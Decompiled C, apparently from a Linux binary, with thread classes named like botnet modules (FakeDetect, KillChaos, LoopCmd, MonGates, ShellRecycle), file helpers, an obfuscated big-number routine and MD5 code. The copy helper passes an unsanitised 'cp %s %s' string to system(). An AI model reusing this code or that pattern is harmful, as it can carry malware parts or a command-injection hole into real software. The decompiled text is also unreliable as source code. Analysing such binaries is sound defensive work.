// Address range: 0x8083e66 - 0x8083e7f
int32_t CThreadFXConnection__CloseSocket(int32_t a1) {
// 0x8083e66
return CNetBase__Close(*(int32_t *)(a1 + 60));
}
// Address range: 0x8083ea2 - 0x8083ec3
int32_t CThreadDoFun_437(int32_t * a1) {
// 0x8083ea2
CThread((struct struct_78 *)a1);
*a1 = 0x8105530;
return (int32_t)a1;
}
// Address range: 0x80841f2 - 0x808430f
int32_t CThreadFakeDetect_441(struct struct_63 * a1, int32_t a2) {
// 0x80841f2
CThread((struct struct_78 *)a1);
a1->e0 = 0x8105578;
*(char *)((int32_t)a1 + 52) = 0;
*(int32_t *)((int32_t)a1 + 56) = 0;
*(int32_t *)((int32_t)a1 + 60) = 0;
*(int32_t *)((int32_t)a1 + 64) = 0;
*(int32_t *)((int32_t)a1 + 68) = 0;
*(int32_t *)((int32_t)a1 + 72) = 0;
*(int32_t *)((int32_t)a1 + 76) = 0;
*(int32_t *)((int32_t)a1 + 80) = 0;
*(int32_t *)((int32_t)a1 + 84) = 0;
*(int32_t *)((int32_t)a1 + 88) = 0;
*(int32_t *)((int32_t)a1 + 92) = 0;
*(int32_t *)((int32_t)a1 + 96) = 0;
CThreadCondition_524();
*(int32_t *)((int32_t)a1 + 172) = 0;
*(int32_t *)((int32_t)a1 + 176) = a2;
return CThreadCondition__InitCondition((int32_t)a1 + 100);
}
// Address range: 0x8086e62 - 0x8086e83
int32_t CThreadKillChaos_449(int32_t * a1) {
// 0x8086e62
CThread((struct struct_78 *)a1);
*a1 = 0x8105690;
return (int32_t)a1;
}
// Address range: 0x8087074 - 0x808719b
int32_t CThreadLoopCmd_453(struct struct_3 * a1, int32_t a2) {
// 0x8087074
CThread((struct struct_78 *)a1);
a1->e0 = 0x81056c8;
CThreadMutex_531();
CThreadCondition_524();
CLoopCmd((struct struct_14 *)((int32_t)a1 + 148));
*(int32_t *)((int32_t)a1 + 164) = -1;
CLoopCmd__operator_eq_(&((struct struct_14 *)((int32_t)a1 + 148))->e0, a2);
CThreadMutex__InitMutex((int32_t)a1 + 52);
return CThreadCondition__InitCondition((int32_t)a1 + 76);
}
// Address range: 0x8087752 - 0x80877eb
int32_t CThreadMonGates_457(int32_t * a1, int32_t a2) {
// 0x8087752
int32_t v1;
int32_t v2 = v1; // bp-9
int32_t v3 = (int32_t)a1; // 0x8087759
CThread((struct struct_78 *)a1);
g95 = v3;
*a1 = 0x8105710;
std__allocator_lt_char_gt__598(v1);
int32_t * v4;
int32_t v5;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691((int32_t *)(v3 + 52), a2, v1, v5, (int32_t)v4, 0);
std__allocator_lt_char_gt_();
return &v2;
}
// Address range: 0x80879ee - 0x8087a17
int32_t CThreadRecycle_461(struct struct_3 * a1, int32_t result) {
// 0x80879ee
CThread((struct struct_78 *)a1);
a1->e0 = 0x8105758;
*(int32_t *)((int32_t)a1 + 52) = result;
return result;
}
// Address range: 0x8088556 - 0x808857f
int32_t CThreadShellRecycle_469(struct struct_3 * a1, int32_t result) {
// 0x8088556
CThread((struct struct_78 *)a1);
a1->e0 = 0x8105820;
*(int32_t *)((int32_t)a1 + 52) = result;
return result;
}
// Address range: 0x808866e - 0x8088697
int32_t CThreadTaskGates_473(struct struct_3 * a1, int32_t result) {
// 0x808866e
CThread((struct struct_78 *)a1);
a1->e0 = 0x8105858;
*(int32_t *)((int32_t)a1 + 52) = result;
return result;
}
// Address range: 0x808a5be - 0x808a5f3
int32_t CAutoLock_492(struct struct_68 * a1, int32_t a2, uint32_t a3) {
char v1 = a3; // 0x808a5c7
g95 = a2;
a1->e0 = a2;
a1->e1 = v1;
int32_t result; // 0x808a5f3_11
if (v1 != 0) {
// 0x808a5e1
result = CThreadMutex__Lock(a1->e0);
// branch -> 0x808a5f2
} else {
result = g95 & -256 | a3 % 256;
}
// 0x808a5f2
return result;
}
// Address range: 0x808a5f4 - 0x808a61d
int32_t CAutoLock__Unlock(struct struct_68 * a1) {
int32_t v1 = (int32_t)a1; // 0x808a5fa
g95 = v1;
int32_t v2 = (int32_t)a1->e1 | v1 & -256; // 0x808a5fd
int32_t * v3; // 0x808a61d_11
if (v2 != 0) {
// 0x808a604
CThreadMutex__Unlock(a1->e0);
*(char *)((int32_t)a1 + 4) = 0;
v3 = &a1->e0;
// branch -> 0x808a61c
} else {
v3 = (int32_t *)v2;
}
// 0x808a61c
return (int32_t)v3;
}
// Address range: 0x808a61e - 0x808a633
void CAutoLock_493(struct struct_68 * a1) {
// 0x808a61e
CAutoLock__Unlock(a1);
}
// Address range: 0x808a702 - 0x808a751
int32_t CFileOp__ReadFile(int32_t ** a1, int32_t fd, char * buf, int32_t nbyte) {
// 0x808a702
if (a1 == NULL || buf == NULL) {
// 0x808a74d
return -1;
}
int32_t result = read(fd, buf, nbyte); // 0x808a72a
if (result == -1) {
// 0x808a73b
*a1 = (int32_t *)*__errno_location();
// branch -> 0x808a747
}
// 0x808a747
// branch -> 0x808a74d
// 0x808a74d
return result;
}
// Address range: 0x808a752 - 0x808a767
int32_t CFileOp__CloseFile(int32_t fd) {
// 0x808a752
return close(fd);
}
// Address range: 0x808a768 - 0x808a787
int32_t CFileOp__FileExists(char * path) {
// 0x808a768
return access(path, (int32_t)g2) == 0;
}
// Address range: 0x808a788 - 0x808a81d
int32_t CFileOp__OpenFile(int32_t ** a1, char * path, int32_t a3, int32_t a4) {
// 0x808a788
if (a1 == NULL) {
// 0x808a818
return -1;
}
int32_t v1 = CFileOp__FileExists(path); // 0x808a7a3
int32_t v2 = 0;
if (a4 != 0) {
// 0x808a7b4
v2 = v1 == 1 ? 0 : 64;
// branch -> 0x808a7dd
}
int32_t fd = open(path, v2 | a3); // 0x808a7f5
if (fd == -1) {
// 0x808a806
*a1 = (int32_t *)*__errno_location();
// branch -> 0x808a812
}
// 0x808a812
g95 = fd;
// branch -> 0x808a818
// 0x808a818
return fd;
}
// Address range: 0x808a8a6 - 0x808a8c3
int32_t CFileOp__RemoveFile(char * file_path) {
// 0x808a8a6
return remove(file_path) == 0;
}
// Address range: 0x808a922 - 0x808a97f
int32_t CFileOp__C0pyFile(int32_t a1, int32_t a2) {
// 0x808a922
int32_t * v1;
memcpy(v1, (int32_t *)0x8105c40, 256);
_IO_sprintf((int32_t)v1, (int32_t)"cp %s %s", a1);
int32_t system_rc = system((char *)v1); // 0x808a96d
int32_t result = system_rc == 0; // 0x808a977
g95 = result | system_rc & -256;
return result;
}
// Address range: 0x808a9d6 - 0x808aa0b
int32_t CFileOp__GetTgtFileSize(char * path) {
// 0x808a9d6
int32_t * buf;
int32_t v1 = stat(path, buf); // 0x808a9e6
int32_t result;
if (((int32_t)(v1 == 0) || v1 & -256) != 0) {
// 0x808a9f7
// branch -> 0x808aa06
} else {
result = 0;
}
// 0x808aa06
return result;
}
// Address range: 0x808ab06 - 0x808ac47
int32_t CFileOp__ModifyFile(char * path, int32_t * a2, int32_t * a3, int32_t a4, int32_t * a5) {
struct struct_6 * v1 = NULL; // bp-32
int32_t v2 = g98; // 0x808ab0b
int32_t * v3;
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__95(&v1->e0, a3, (int32_t)v3);
int32_t fd = open(path, O_RDWR); // 0x808ab2a
int32_t result = 0; // 0x808ac201
if (fd > 0) {
int32_t v4 = (int32_t)a2; // 0x808ab47
struct struct_18 * v5 = g2; // 0x808ab53_7
int32_t v6 = (int32_t)v5; // 0x808ab53
__libc_lseek(fd, v4, v6);
g98 = (int32_t)a3;
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_(&v1->e0, &v5->e0);
__libc_write();
__libc_lseek(fd, v4, v6);
int32_t v7 = (int32_t)a5; // 0x808ab93
g98 = v7;
int32_t v8 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_(&v1->e0, &v5->e0); // 0x808ab9f
memcpy((int32_t *)v8, (int32_t *)a4, g98);
g98 = v7;
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_(&v1->e0, &v5->e0);
__libc_write();
close(fd);
result = 1;
// branch -> 0x808ac11
}
// 0x808ac11
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v1);
g98 = v2;
return result;
}
// Address range: 0x808ac48 - 0x808ac7b
int32_t CIHNs5r(int32_t * a1) {
// 0x808ac48
*a1 = 1;
int32_t v1 = 0; // bp-8
*(int32_t *)(4 + (int32_t)a1) = 0;
int32_t v2 = v1 + 1; // 0x808ac71
v1 = v2;
// branch -> 0x808ac60
while (v2 < 35) {
// 0x808ac60
*(int32_t *)((int32_t)a1 + 4 + 4 * v2) = 0;
v2 = v1 + 1;
v1 = v2;
// continue -> 0x808ac60
}
// 0x808ac79
return &v1;
}
// Address range: 0x808ac7c - 0x808ac81
void CIHNs5r_500(void) {
// 0x808ac7c
return;
}
// Address range: 0x808ac82 - 0x808acbb
int32_t CIHNs5r_501(int32_t * a1, struct struct_1 * a2) {
// 0x808ac82
*a1 = a2->e0;
int32_t v1 = 0; // bp-8
int32_t v2 = (int32_t)a1 + 4; // 0x808acab
*(int32_t *)v2 = a2->e1[0];
int32_t v3 = v1 + 1; // 0x808acb29
v1 = v3;
if (v3 >= 35) {
// 0x808acba
return &v1;
}
*(int32_t *)(v2 + 4 * v3) = a2->e1[v3];
int32_t v4 = v1 + 1; // 0x808acb2
v1 = v4;
while (v4 < 35) {
// 0x808ac9b
v3 = v4;
*(int32_t *)(v2 + 4 * v3) = a2->e1[v3];
v4 = v1 + 1;
v1 = v4;
// continue -> 0x808ac9b
}
// 0x808acba
return &v1;
}
// Address range: 0x808acbc - 0x808ad53
int32_t CIHNs5r__Udjf66(struct struct_1 * a1, struct struct_1 * a2) {
// 0x808acbc
if (a1->e0 > a2->e0) {
// 0x808ad4f
return 1;
}
// 0x808acd9
if (a1->e0 < a2->e0) {
// 0x808ad4f
return -1;
}
int32_t v1 = a1->e0 - 1; // 0x808acf5
if (v1 > 0) {
while (true) {
int32_t result = 1;
if (a1->e1[v1] <= a2->e1[v1]) {
// 0x808ad1c
if (a1->e1[v1] >= a2->e1[v1]) {
int32_t v2 = v1 - 1; // 0x808ad40
if (v2 <= 0) {
// break -> 0x808ad42
break;
}
v1 = v2;
// continue -> 0x808acfb
continue;
} else {
result = -1;
}
}
// 0x808ad4f
// branch -> 0x808ad4f
// 0x808ad4f
return result;
}
// 0x808ad42
// branch -> 0x808ad4f
}
// 0x808ad4f
return 0;
}
// Address range: 0x808ae0e - 0x808b017
int32_t CIHNs5r__Udjf67(int32_t * a1, int32_t * a2, struct struct_1 * a3) {
struct struct_1 * v1 = NULL; // bp-160
int32_t v2 = std__string__length(a2); // 0x808ae1d
int32_t * v3 = (int32_t *)v2; // 0x808ae1d_3
int32_t v4 = (int32_t)g2; // 0x808ae32
CIHNs5r__Udjf34_354((struct struct_52 *)a1, v4, v4);
if (v2 <= 0) {
// 0x808b015
return 0;
}
int32_t v5 = 0; // 0x808b00c11
// branch -> 0x808ae46
int32_t result; // 0x808b007
while (true) {
// 0x808ae46
int32_t * v6;
CIHNs5r__Udjf31(v6, (struct struct_1 *)a1, a3);
CIHNs5r__Udjf34(a1, (struct struct_1 *)v6);
CIHNs5r_500();
int32_t v7 = std__string__operator_lsb__rsb__663(a2, v5); // 0x808ae8c
int32_t v8 = (int32_t)*(char *)v7 | v7 & -256; // 0x808ae94
int32_t v9 = v8; // 0x808aec214
int32_t v10;
int32_t v11; // 0x808aec2
if (v8 >= 48) {
int32_t v12 = std__string__operator_lsb__rsb__663(a2, v5); // 0x808aea4
int32_t v13 = (int32_t)*(char *)v12 | v12 & -256; // 0x808aeac
if (v13 <= 57) {
v11 = v13;
v10 = 1;
lab_0x9608370:;
int32_t v14 = std__string__operator_lsb__rsb__663(a2, v5); // 0x808aef8
unsigned char v15 = *(char *)v14; // 0x808af00
struct struct_1 * v16; // 0x808afc7_0
if ((v11 & -256 || v10) == 0) {
int32_t v17 = (int32_t)v15 | v14 & -256; // 0x808af00
int32_t v18 = v17; // 0x808af2e18
int32_t v19;
int32_t v20; // 0x808af2e
if (v17 >= 65) {
int32_t v21 = std__string__operator_lsb__rsb__663(a2, v5); // 0x808af10
int32_t v22 = (int32_t)*(char *)v21 | v21 & -256; // 0x808af18
if (v22 <= 70) {
v20 = v22;
v19 = 1;
lab_0x1795e810:;
int32_t v23 = std__string__operator_lsb__rsb__663(a2, v5); // 0x808af61
unsigned char v24 = *(char *)v23; // 0x808af69
if ((v20 & -256 || v19) == 0) {
int32_t v25 = (int32_t)v24 | v23 & -256; // 0x808af69
int32_t v26 = v25; // 0x808af9722
char v27;
int32_t v28; // 0x808af97
if (v25 >= 97) {
int32_t v29 = std__string__operator_lsb__rsb__663(a2, v5); // 0x808af79
int32_t v30 = (int32_t)*(char *)v29 | v29 & -256; // 0x808af81
if (v30 <= 102) {
v28 = v30;
v27 = 1;
lab_0x6074640:
// 0x808af97
if (((int32_t)v27 || v28 & -256) == 0) {
// 0x808afc0
v16 = NULL;
// branch -> 0x808afc7
} else {
char v31 = *(char *)std__string__operator_lsb__rsb__663(a2, v5); // 0x808afb3
v16 = (struct struct_1 *)((int32_t)v31 - 87);
// branch -> 0x808afc7
}
lab_0x6076360:
// 0x808afc7
CIHNs5r__Udjf32_505(&v1->e0, a1, (int32_t)v16);
CIHNs5r__Udjf34(a1, v1);
CIHNs5r_500();
result = v5 + 1;
if ((int32_t *)result >= v3) {
// break -> 0x808b015
break;
}
v5 = result;
// continue -> 0x808ae46
continue;
} else {
v26 = v30;
}
}
// 0x808af90
v28 = v26;
v27 = 0;
// branch -> 0x808af97
goto lab_0x6074640;
} else {
// 0x808af38
v16 = (struct struct_1 *)((int32_t)v24 - 55);
// branch -> 0x808afc7
goto lab_0x6076360;
}
lab_0x60798b0:
// 0x808afc7
CIHNs5r__Udjf32_505(&v1->e0, a1, (int32_t)v16);
CIHNs5r__Udjf34(a1, v1);
CIHNs5r_500();
result = v5 + 1;
if ((int32_t *)result >= v3) {
// break -> 0x808b015
break;
}
v5 = result;
// continue -> 0x808ae46
continue;
} else {
v18 = v22;
}
}
// 0x808af27
v20 = v18;
v19 = 0;
// branch -> 0x808af2e
goto lab_0x1795e810;
} else {
// 0x808aecc
v16 = (struct struct_1 *)((int32_t)v15 - 48);
// branch -> 0x808afc7
goto lab_0x60798b0;
}
struct struct_1 * v32 = v1; // 0x808afd8_3
CIHNs5r__Udjf32_505(&v32->e0, a1, (int32_t)v16);
struct struct_1 * v33 = v1; // 0x808afed
CIHNs5r__Udjf34(a1, v33);
CIHNs5r_500();
result = v5 + 1;
if ((int32_t *)result >= v3) {
// break -> 0x808b015
break;
}
v5 = result;
// continue -> 0x808ae46
continue;
} else {
v9 = v13;
}
}
// 0x808aebb
v11 = v9;
v10 = 0;
// branch -> 0x808aec2
goto lab_0x9608370;
}
// 0x808b015
return result;
}
// Address range: 0x808b018 - 0x808b23f
int32_t CIHNs5r__Udjf68(struct struct_3 * a1, int32_t * a2, struct struct_1 * a3) {
struct struct_1 * v1 = NULL; // bp-160
if (a1->e0 == 1) {
// 0x808b02c
if (a1->e1 == 0) {
// 0x808b036
// branch -> 0x808b23a
// 0x808b23a
return std__string__operator_eq_((int32_t **)a2, "0");
}
}
// 0x808b04e
std__string__operator_eq_((int32_t **)a2, "");
int32_t v2;
std__allocator_lt_char_gt__598(v2);
int32_t v3;
int32_t * v4;
int32_t * v5;
int32_t v6;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v3, (int32_t)"0123456789ABCDEF", v2, v6, (int32_t)v5, (int32_t)v4);
std__allocator_lt_char_gt_();
CIHNs5r(v4);
int32_t * v7;
CIHNs5r_501(v7, (struct struct_1 *)a1);
CIHNs5r__Udjf34(v4, (struct struct_1 *)v7);
CIHNs5r_500();
int32_t v8;
if (v8 == 0) {
// 0x808b1eb
CIHNs5r_500();
int32_t result = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v3); // 0x808b204
// branch -> 0x808b23a
// 0x808b23a
return result;
}
while (true) {
int32_t v9 = CIHNs5r__Udjf01_506((struct struct_1 *)v4, (int32_t)a3); // 0x808b132
std__string__operator_lsb__rsb__663(&v3, v9);
char v10;
std__string__insert_649(a2, (int32_t **)g2, 1, v10);
CIHNs5r__Udjf00(&v1->e0, v4, &a3->e0);
CIHNs5r__Udjf34(v4, v1);
CIHNs5r_500();
// branch -> 0x808b125
}
}
// Address range: 0x808b988 - 0x808ba65
int32_t CIHNs5r__Udjf32_505(int32_t * a1, int32_t * a2, int32_t a3) {
int32_t result = (int32_t)a1; // 0x808b991
CIHNs5r(a1);
int32_t * v1;
CIHNs5r_501(v1, (struct struct_1 *)a2);
CIHNs5r__Udjf34(a1, (struct struct_1 *)v1);
CIHNs5r_500();
int32_t v2 = result + 4; // 0x808b9d7
int32_t * v3 = (int32_t *)v2; // 0x808b9d7_0
uint32_t v4 = *v3; // 0x808b9d7
uint32_t v5 = v4 + a3; // 0x808b9f0
*v3 = v5;
if (v5 < v4 == false) {
// 0x808ba0a
// branch -> 0x808ba61
} else {
int32_t * v6 = (int32_t *)(result + 8); // 0x808ba32_05
int32_t * v7 = v6;
if (*v6 == -1) {
*v6 = 0;
int32_t v8 = 2; // 0x808ba2a
int32_t * v9 = (int32_t *)(4 * v8 + v2); // 0x808ba32_0
v7 = v9;
while (*v9 == -1) {
// 0x808ba19
*v9 = 0;
v8++;
v9 = (int32_t *)(4 * v8 + v2);
v7 = v9;
// continue -> 0x808ba19
}
// 0x808ba3b
*v7 = *v7 + 1;
if (*a2 == v8) {
// 0x808ba54
*a2 = *a2 + 1;
// branch -> 0x808ba61
}
// 0x808ba61
return result;
}
// 0x808ba3b
*v7 = *v7 + 1;
if (*a2 == 1) {
// 0x808ba54
*a2 = *a2 + 1;
// branch -> 0x808ba61
}
}
// 0x808ba61
return result;
}
// Address range: 0x808ba68 - 0x808bc19
int32_t CIHNs5r__Udjf00(int32_t * a1, int32_t * a2, int32_t * a3) {
// 0x808ba68
CIHNs5r((int32_t *)*a1);
int32_t * v1;
CIHNs5r_501(v1, (struct struct_1 *)a2);
CIHNs5r__Udjf34((int32_t *)*a1, (struct struct_1 *)v1);
CIHNs5r_500();
int32_t v2 = *a1; // 0x808bac1
if (*(int32_t *)*a1 == 1) {
// 0x808bac1
*(int32_t *)(v2 + 4) = a1[1] / *a3;
// branch -> 0x808bc0c
} else {
int32_t v3 = *(int32_t *)v2 - 1; // 0x808bb02
int32_t * v4 = a1;
int32_t * v5; // 0x808bc07_0
int32_t v6; // 0x808bbf9
if (v3 > 0) {
uint32_t v7 = (int32_t)a3; // 0x808bb49
int32_t v8 = (int32_t)g2; // 0x808bb59
int32_t v9 = 0; // bp+059
int32_t v10 = a1[1]; // 0x808bb30
g101 = v3;
int32_t * v11;
int32_t v12 = (int32_t)v11; // 0x808bb59
int32_t v13;
int32_t v14; // 0x808bbad311
int32_t v15; // 0x0410
int32_t v16 = __udivdi3(v10, v9, v7, v8, v13, 0, v12, 0, v14, v15, 0, 0, 0, 0, 0, 0); // 0x808bb59
a1[1] = v16;
int32_t v17 = __udivdi3(v10, v9, v7, v8, v13, 0, v12, 0, v14, v15, 0, 0, 0, 0, 0, 0); // 0x808bb75
v4 = a1;
// branch -> 0x808bb0b
while (v3 > 1) {
// 0x808bb0b
g102 = 0;
v3--;
v14 = v17;
v15 = g97;
v9 = v10 - (int32_t)((int64_t)v17 * (int64_t)v7);
v10 = a1[1];
g101 = v3;
v12 = (int32_t)a3;
v16 = __udivdi3(v10, v9, v7, v8, v13, 0, v12, 0, v14, v15, 0, 0, 0, 0, 0, 0);
a1[1] = v16;
v17 = __udivdi3(v10, v9, v7, v8, v13, 0, v12, 0, v14, v15, 0, 0, 0, 0, 0, 0);
v4 = a1;
// continue -> 0x808bb0b
}
// 0x808bbf3
v6 = *(int32_t *)*v4;
if (*(int32_t *)(*v4 + 4 + 4 * (v6 - 1)) == 0) {
// 0x808bc04
v5 = (int32_t *)*v4;
*v5 = *v5 - 1;
// branch -> 0x808bc0c
}
// 0x808bc0c
return *a1;
}
// 0x808bbf3
v6 = *(int32_t *)*v4;
if (*(int32_t *)(*v4 + 4 + 4 * (v6 - 1)) == 0) {
// 0x808bc04
v5 = (int32_t *)*v4;
*v5 = *v5 - 1;
// branch -> 0x808bc0c
}
}
// 0x808bc0c
return *a1;
}
// Address range: 0x808bc1a - 0x808bce7
int32_t CIHNs5r__Udjf01_506(struct struct_1 * a1, int32_t a2) {
int32_t v1 = g102; // 0x808bc1d
int32_t v2 = g101; // 0x808bc1e
int32_t result;
if (a1->e0 == 1) {
// 0x808bc2d
int32_t * v3;
result = a1->e1[0] % *v3;
// branch -> 0x808bcda
} else {
int32_t v4 = a1->e0 - 1; // 0x808bc59
if (v4 > 0) {
int32_t v5 = (int32_t)g2; // 0x808bcbe
int32_t v6 = 0; // 0x808bcd437
// branch -> 0x808bc5f
while (true) {
int32_t v7 = a1->e1[v4]; // 0x808bc65
g101 = 0;
g102 = v6;
int32_t v8;
int32_t v9;
int32_t v10 = __umoddi3(v7, v6, a2, v5, v9, v5, 0, v6, 0, v8, v7, v6, v5); // 0x808bcbe
int32_t v11 = v4 - 1; // 0x808bccc
if (v11 > 0) {
// 0x808bc5f
v4 = v11;
v6 = v10;
// branch -> 0x808bc5f
continue;
} else {
result = v10;
}
}
} else {
result = 0;
}
}
// 0x808bcda
g101 = v2;
g102 = v1;
return result;
}
// Address range: 0x808bd86 - 0x808bdc7
int32_t CMd5A____MD5Init(struct struct_75 * a1) {
int32_t result = (int32_t)a1; // 0x808bd89
a1->e5 = 0;
a1->e4 = a1->e5;
a1->e0 = 0x67452301;
a1->e1 = -0x10325477;
a1->e2 = -0x67452302;
*(int32_t *)(result + 12) = 0x10325476;
return result;
}
// Address range: 0x808bdc8 - 0x808bdf7
int32_t CMd5A____MD5_memcpy(int32_t * a1, int32_t * a2, int32_t * a3) {
// 0x808bdc8
if (a3 == NULL) {
// 0x808bdf6
return 0;
}
int32_t v1 = 0; // 0x808bdf17
char v2 = *(char *)(v1 + (int32_t)a2); // 0x808bde5
*(char *)(v1 + (int32_t)a1) = v2;
int32_t result = v1 + 1; // 0x808bdec
// branch -> 0x808bdd7
while ((int32_t *)result < a3) {
// 0x808bdd7
v1 = result;
v2 = *(char *)(v1 + (int32_t)a2);
*(char *)(v1 + (int32_t)a1) = v2;
result = v1 + 1;
// continue -> 0x808bdd7
}
// 0x808bdf6
return result;
}
// Address range: 0x808bdf8 - 0x808be83
int32_t CMd5A____Encode(int32_t * a1, int32_t * a2, int32_t * a3) {
int32_t result = 0;
if (a3 != NULL) {
int32_t v1 = 0; // 0x808be7c10
int32_t v2 = 0; // 0x808be7118
// branch -> 0x808be0e
while (true) {
int32_t v3 = v1 + (int32_t)a1; // 0x808be13
*(char *)v3 = (char)a2[v2];
*(char *)(v3 + 1) = (char)(a2[v2] / 256);
*(char *)(v3 + 2) = (char)(a2[v2] / 0x10000);
*(char *)(v3 + 3) = (char)(a2[v2] / 0x1000000);
int32_t v4 = v1 + 4; // 0x808be76
if ((int32_t *)v4 < a3) {
// 0x808be0e
v1 = v4;
v2++;
// branch -> 0x808be0e
continue;
} else {
result = v4;
}
}
}
// 0x808be81
return result;
}
// Address range: 0x808be84 - 0x808beaf
int32_t CMd5A____MD5_memset(int32_t * a1, int32_t * a2, int32_t * a3) {
// 0x808be84
if (a3 == NULL) {
// 0x808bead
return 0;
}
int32_t v1 = 0; // 0x808bea87
*(char *)(v1 + (int32_t)a1) = (char)(int32_t)a2;
int32_t result = v1 + 1; // 0x808bea3
// branch -> 0x808be93
while ((int32_t *)result < a3) {
// 0x808be93
v1 = result;
*(char *)(v1 + (int32_t)a1) = (char)(int32_t)a2;
result = v1 + 1;
// continue -> 0x808be93
}
// 0x808bead
return result;
}
// Address range: 0x808beb0 - 0x808bf29
int32_t CMd5A____Decode(int32_t * a1, int32_t * a2, uint32_t a3) {
int32_t result = 0;
if (a3 != 0) {
int32_t v1 = 0;
int32_t v2 = 0; // 0x808bf1818
while (true) {
int32_t v3 = v1 + (int32_t)a2; // 0x808bed4
unsigned char v4 = *(char *)v3; // 0x808bed7
unsigned char v5 = *(char *)(v3 + 1); // 0x808bee3
unsigned char v6 = *(char *)(v3 + 2); // 0x808bef6
unsigned char v7 = *(char *)(v3 + 3); // 0x808bf09
a1[v2] = 0x1000000 * (int32_t)v7 | 0x10000 * (int32_t)v6 | 256 * (int32_t)v5 | (int32_t)v4;
int32_t v8 = v1 + 4; // 0x808bf1d
if (v8 < a3) {
// 0x808bec6
v1 = v8;
v2++;
// branch -> 0x808bec6
continue;
} else {
result = v8;
}
}
}
// 0x808bf28
return result;
}
// Address range: 0x808bf2a - 0x808cb4b
int32_t CMd5A____MD5Transform(struct struct_45 * a1, struct struct_45 * a2) {
int32_t v1 = a1->e1; // 0x808bf45
int32_t v2 = a1->e2; // 0x808bf50
int32_t v3 = a1->e3; // 0x808bf5b
int32_t v4 = 64; // bp-104
int32_t * v5;
CMd5A____Decode(v5, &a2->e0, 64);
int32_t v6 = *v5; // 0x808bf83
uint32_t v7 = a1->e0 - 0x28955b88 + (v3 & -1 - v1 | v2 & v1) + v6; // 0x808bf8c
int32_t v8 = (128 * v7 | v7 / 0x2000000) + v1; // 0x808bfa0
int32_t v9;
uint32_t v10 = v9 - 0x173848aa + v3 + (-1 - v8 & v2 | v8 & v1); // 0x808bfbd
int32_t v11 = (0x1000 * v10 | v10 / 0x100000) + v8; // 0x808bfd1
int32_t v12;
uint32_t v13 = v12 + 0x242070db + v2 + (-1 - v11 & v1 | v11 & v8); // 0x808bfee
int32_t v14 = (0x20000 * v13 | v13 / 0x8000) + v11; // 0x808c002
int32_t v15;
uint32_t v16 = v15 - 0x3e423112 + v1 + (-1 - v14 & v8 | v14 & v11); // 0x808c01f
int32_t v17 = (0x400000 * v16 | v16 / 1024) + v14; // 0x808c033
int32_t v18;
uint32_t v19 = v18 - 0xa83f051 + v8 + (-1 - v17 & v11 | v17 & v14); // 0x808c050
int32_t v20 = (128 * v19 | v19 / 0x2000000) + v17; // 0x808c064
int32_t v21;
uint32_t v22 = v21 + 0x4787c62a + v11 + (-1 - v20 & v14 | v20 & v17); // 0x808c081
int32_t v23 = (0x1000 * v22 | v22 / 0x100000) + v20; // 0x808c095
int32_t v24;
uint32_t v25 = v24 - 0x57cfb9ed + v14 + (-1 - v23 & v17 | v23 & v20); // 0x808c0b2
int32_t v26 = (0x20000 * v25 | v25 / 0x8000) + v23; // 0x808c0c6
int32_t v27;
uint32_t v28 = v27 - 0x2b96aff + v17 + (-1 - v26 & v20 | v26 & v23); // 0x808c0e3
int32_t v29 = (0x400000 * v28 | v28 / 1024) + v26; // 0x808c0f7
int32_t v30;
uint32_t v31 = v30 + 0x698098d8 + v20 + (-1 - v29 & v23 | v29 & v26); // 0x808c114
int32_t v32 = (128 * v31 | v31 / 0x2000000) + v29; // 0x808c128
int32_t v33;
uint32_t v34 = v33 - 0x74bb0851 + v23 + (-1 - v32 & v26 | v32 & v29); // 0x808c145
int32_t v35 = (0x1000 * v34 | v34 / 0x100000) + v32; // 0x808c159
int32_t v36;
uint32_t v37 = v36 - 0xa44f + v26 + (-1 - v35 & v29 | v35 & v32); // 0x808c176
int32_t v38 = (0x20000 * v37 | v37 / 0x8000) + v35; // 0x808c18a
int32_t v39;
uint32_t v40 = v39 - 0x76a32842 + v29 + (-1 - v38 & v32 | v38 & v35); // 0x808c1a7
int32_t v41 = (0x400000 * v40 | v40 / 1024) + v38; // 0x808c1bb
int32_t v42;
uint32_t v43 = v42 + 0x6b901122 + v32 + (-1 - v41 & v35 | v41 & v38); // 0x808c1d8
int32_t v44 = (128 * v43 | v43 / 0x2000000) + v41; // 0x808c1ec
int32_t v45;
uint32_t v46 = v45 - 0x2678e6d + v35 + (-1 - v44 & v38 | v44 & v41); // 0x808c209
int32_t v47 = (0x1000 * v46 | v46 / 0x100000) + v44; // 0x808c21d
int32_t v48 = -1 - v47; // 0x808c22a
int32_t v49;
uint32_t v50 = v49 - 0x5986bc72 + v38 + (v48 & v41 | v47 & v44); // 0x808c23a
int32_t v51 = (0x20000 * v50 | v50 / 0x8000) + v47; // 0x808c24e
int32_t v52 = -1 - v51; // 0x808c25b
int32_t v53;
uint32_t v54 = v53 + 0x49b40821 + v41 + (v52 & v44 | v51 & v47); // 0x808c26b
int32_t v55 = (0x400000 * v54 | v54 / 1024) + v51; // 0x808c27f
uint32_t v56 = v9 - 0x9e1da9e + v44 + (v55 & v47 | v51 & v48); // 0x808c29c
int32_t v57 = (32 * v56 | v56 / 0x8000000) + v55; // 0x808c2b0
uint32_t v58 = v24 - 0x3fbf4cc0 + v47 + (v57 & v51 | v55 & v52); // 0x808c2cd
int32_t v59 = (512 * v58 | v58 / 0x800000) + v57; // 0x808c2e1
uint32_t v60 = v39 + 0x265e5a51 + v51 + (v59 & v55 | v57 & -1 - v55); // 0x808c2fe
int32_t v61 = (0x4000 * v60 | v60 / 0x40000) + v59; // 0x808c312
int32_t v62 = *v5; // 0x808c326
uint32_t v63 = v62 - 0x16493856 + v55 + (v61 & v57 | v59 & -1 - v57); // 0x808c32f
int32_t v64 = (0x100000 * v63 | v63 / 0x1000) + v61; // 0x808c343
uint32_t v65 = v21 - 0x29d0efa3 + v57 + (v64 & v59 | v61 & -1 - v59); // 0x808c360
int32_t v66 = (32 * v65 | v65 / 0x8000000) + v64; // 0x808c374
